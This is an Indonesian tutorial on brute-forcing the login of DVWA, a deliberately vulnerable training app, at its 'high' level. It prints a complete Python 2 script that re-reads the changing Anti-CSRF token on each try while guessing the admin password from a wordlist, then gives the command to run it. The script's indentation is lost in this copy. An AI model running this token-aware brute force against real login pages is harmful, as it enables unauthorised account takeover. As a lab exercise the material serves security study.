Pada level high ini, server akan melakukan validasi Anti-CSRF token terlebih dahulu. Dan jika gagal melakukan login akan terjadi delay 0-3 detik.
Singkatnya, Anti-CSRF token adalah token yang bersifat unik (setiap adanya request baru nilanya akan berubah) yang digunakan untuk memastikan user melakukan request secara resmi.
Jika kita melakukan inspect element, maka akan terlihat terdapat tag input bertipe hidden dengan nama user_token beserta nilainya.
Nilai dari token tersebut akan selalu berubah ketika kita melakukan request yang baru (coba saja anda refresh, pasti hasilnya akan berbeda).
Jika kita memaksa untuk menggunakan nilai yang sama, maka request akan gagal dilakukan dan halaman akan di-redirect ke form login kembali.
Untuk menghadapi masalah ini kita tidak bisa menggunakan Hydra lagi, karena tidak bisa mengatasi Anti-CSRF token yang selalu berubah-ubah. Oleh karena itu, kita akan melakukan brute force dengan membuat script sendiri menggunakan bahasa Python.
nano bruteforce.py
/Tulis script berikut
from sys import argv
import requests
from BeautifulSoup import BeautifulSoup as Soup
​
# give our arguments more semantic friendly names
script, filename, success_message = argv
txt = open(filename)
​
# set up our target, cookie and session
url = 'http://172.17.0.2/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'77jr5376ldag1qc392brdr2b11'}
s = requests.Session()
target_page = s.get(url, cookies=cookie)
​
'''
checkSuccess
@param: html (String)
​
Searches the response HTML for our specified success message
'''
def checkSuccess(html):
# get our soup ready for searching
soup = Soup(html)
# check for our success message in the soup
search = soup.findAll(text=success_message)
if not search:
success = False
​
else:
success = True
​
# return the brute force result
return success
​
# Get the intial CSRF token from the target site
page_source = target_page.text
soup = Soup(page_source);
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
​
# Display before attack
print 'DVWA URL' + url
print 'CSRF Token='+ csrf_token
​
# Loop through our provided password file
with open(filename) as f:
print 'Running brute force attack...'
for password in f:
​
# Displays password tries and strips whitespace from password list
print 'password tryed: ' + password
password = password.strip()
​
# setup the payload
payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
r = s.get(url, cookies=cookie, params=payload)
success = checkSuccess(r.text)
​
if not success:
# if it failed the CSRF token will be changed. Get the new one
soup = Soup(r.text)
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
else:
# Success! Show the result
print 'Password is: ' + password
break
​
# We failed, bummer.
if not success:
print 'Brute force failed. No matches found.'
Melakukan Serangan
Pertama, kita siapkan dulu script-nya seperti berikut:
Script tersebut saya dapatkan ketika membaca artikel Danny Beton.
Script tersebut menggunakan Python2. Sebelum menjalankannya, pastikan dependensi telah terinstall.
Untuk menjalankan script tersebut, kita membutuhkan parameter untuk nama file wordlist dan pesan sukses untuk menentukan keberhasilannya, seperti berikut:
python2.7 bruteforce.py DVWA-Wordlist.txt "Welcome to the password protected area admin"
Jika berhasil, akan muncul password yang valid seperti gambar di atas.